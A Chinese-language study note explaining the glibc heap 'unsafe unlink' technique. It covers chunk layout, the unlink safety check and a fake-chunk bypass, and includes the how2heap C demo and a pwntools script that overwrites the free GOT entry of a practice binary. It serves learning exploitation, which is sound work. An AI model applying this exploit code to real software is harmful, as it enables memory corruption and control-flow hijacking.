Study Note - Unlink

啊,花了一天多的时间来弄懂unlink的原理和一个简单的应用。只能说,pwn真好玩,就是头上有点凉,就是我太菜了。写个学习笔记记录一下,以免忘了。。。

环境:Ubuntu16.04

参考:how2pwn堆溢出之unlink的利用unsafe-unlink demowiki

0x00 Unlink

在弄清楚unlink之前,需要先了解一下glibc的内存管理。

unlink发生在当释放一个堆块P时,glibc会检查与这个堆块物理相邻的堆块(假设是)S是否是空闲的,如果是的话,就会unlink(S),然后合并两个堆块P、S。

malloc_chunk的定义是这样子的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ //上一个chunk的大小
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ //这个chunk的大小
//如果本chunk不是空闲的,这里开始存着用户数据
struct malloc_chunk* fd; /* double links -- used only if free. */ //如果本chunk是空闲的,这个指向下一个空闲的chunk
struct malloc_chunk* bk; //如果本chunk是空闲的,这个指向上一个空闲的chunk

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

unlink的操作可以借助wiki上的图片:

unlink_intro.png

可以看到,就是双向链表中删除节点P的操作。

1
2
p->fd->bk = p->bk;
p->bk->fd = p->fd;

然后P节点就被从链表中删除了。

0x01 利用

简单的栗子

假设这样一个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+--------------+	<- chunk0 ptr
| prev_size |
+--------------+
| size |
+--------------+ <- chunk0
| user data |
+--------------+
| unused bytes |
+--------------+ <- chunk1 ptr
| prev_size |
+--------------+
| size |
+--------------+ <- chunk1
| user data |
+--------------+
| ... |

现在chunk1已经是空闲状态了,当通过对chunk0的写能够溢出到chunk1的时候,我们覆盖user data部分的fd和bk指针,使fd = target addr - 12,bk = except value,然后我们free(chunk0)。这样的话glibc检查发现chunk1也是空闲的,就会发起合并操作,这样就会触发unlink(chunk1),从而:

1
2
chunk1->fd->bk = chunk1->bk;	//效果就是target addr - 12 + 12 = except value
chunk1->bk->fd = chunk1->fd; //实际上对结构体元素的查找就是地址+元素偏移,fd相对于chunk ptr的偏移就是12

这样的话我们就能在target addr处是实现一个改写(如果有写权限的话)。

实际上

然鹅,实际上unlink并没有这么顺利,unlink宏现在已经加了一个检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define unlink(P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

可以看到第4行的检查,所以需要通过这个判断才行。简单的利用是不能通过的。

为了过判断,需要一个全局指针chunk_ptr,然后构造fake chunk,举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+--------------+	<- chunk_ptr	//使全局变量指向堆块
| prev_size |
+--------------+
| size |
+--------------+ - <- chunk0
|fake pre size | |
+--------------+ |
| fake size | |
+--------------+ |
|&chunk_ptr-12 | fake
+--------------+ chunk
| &chunk_ptr-8 | |
+--------------+ |
| unused bytes | |
+--------------+ - <- chunk1 ptr
|new prev_size |
+--------------+
| size |0|
+--------------+ <- chunk1
| user data |
+--------------+
| ... |

在chunk0中伪造一个fake chunk,使得fake chunk.fd = chunk_ptr-12,fake chunk.bk = chunk_ptr-8,然后通过溢出,修改chunk1的prev_size为fake chunk的大小,然后要把chunk1的size的最低位改成0,表示前一个chunk(fake chunk)是空闲的。

然后free(chunk1),然后就会触发unlink(fake chunk),在进行检验的时候:

1
2
3
4
FD = chunk_ptr->fd = &chunk_ptr-12
BK = chunk_ptr->bk = &chunk_ptr-8
FD->bk = &chunk_ptr
BK->fd = &chunk_ptr

所以,chunk_ptr就是指向fake chunk,也就是P,所以满足判断(FD->bk == P && BK->fd == P),这样就能继续完成unlink,完成后结果就是

1
2
FD->bk = chunk_ptr->bk;	//使得*chunk_ptr = &chunk_ptr-8
BK->fd = chunk_ptr->fd; //使得*chunk_ptr = &chunk_ptr-12

这样的的话chunk_ptr就会指向&chunk_ptr-12的位置,也就是说,这样以后,就能把chunk_ptr改写成任意目标地址,然后再次往chunk_ptr中写,这样就能实现一次任意地址覆盖,从而控制程序流程。

0x02 栗子

这里借用how2heap的例子,源地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

当堆分配完的时候,内存分布可以表示为这样:

how2heap0.jpg

然后通过溢出,构造fake_chunk,并将&chunk0_ptr-3*8和&chunk_ptr-2*8作为其fd和bk,并修改chunk1的Pre size和Size的值。

how2heap1.jpg

在chunk0中布置好以后,需要把chunk1的pre size改掉,以及chunk1的size的最低为修改为0,表示前一个chunk是“空闲”的。然后free掉chunk1。触发unlink。最终使得chunk0_ptr指向&chunk_ptr-3*8的位置。

how2heap2.jpg

然后就通过写入,把chunk0_ptr改成目标地址,然后再写入,修改目标地址的值。

how2heap4.jpg

可以看到成功了。

0x03 Demo

在ida中可以看得出来,set函数是有问题的,可以发生溢出。

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t func_set_chunk()
{
int v1; // [esp+Ch] [ebp-Ch]

v1 = -1;
write(1, "Set chunk index:", 0x10u);
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
return write(1, "Set chunk data error!\n", 0x16u);
write(1, "Set chunk data:", 0xFu);
return read(0, buf[v1], 0x400u);
}

是个萌新友好向的demo,可以试着修改一下free的got表的值。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python
#-*- coding:UTF-8 -*-

from pwn import *

p = process('./heap')
elf = ELF('./heap')

#context.log_level='debug'

chunk_ptr = 0x08049D60

def add_chk(size):
p.recvuntil('5.Exit\n')
p.sendline('1')
p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(size))

def set_chk(index,buff):
p.recvuntil('5.Exit\n')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.send(buff)

def del_chk(index):
p.recvuntil('5.Exit\n')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))

def pri_chk(index):
p.recvuntil('5.Exit\n')
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))

def exi_chk():
p.recvuntil('5.Exit\n')
p.sendline('5')

add_chk(0x80)
add_chk(0x80)
add_chk(0x80)

payload = p32(0) + p32(0)
payload += p32(chunk_ptr - 12) + p32(chunk_ptr - 8)
payload += '0'*0x70
payload += p32(0x80) + p32(0x88)
set_chk(0,payload)

del_chk(1)

#gdb.attach(p,'b *0x080486F8\n')

set_chk(0,'a'*12 + p32(elf.got['free']))
set_chk(0,'aaaa')

del_chk(2)
p.interactive()

how2heap5.jpg

可以看到free的got表地址已经被修改了。

0x04 总结

总共花了两天多的时间,除去记录以外,学习unlink的时间竟然大部分卡在了。。。这个fake chunk和要free的那一块这么合并啊???啊,菜得真实。。。其实完全不需要管后面到底怎么合并的嘛!

其实这个demo的利用还没结束,最好还能任意代码执行,下次有时间再填坑好了(挖坑!接着挖坑!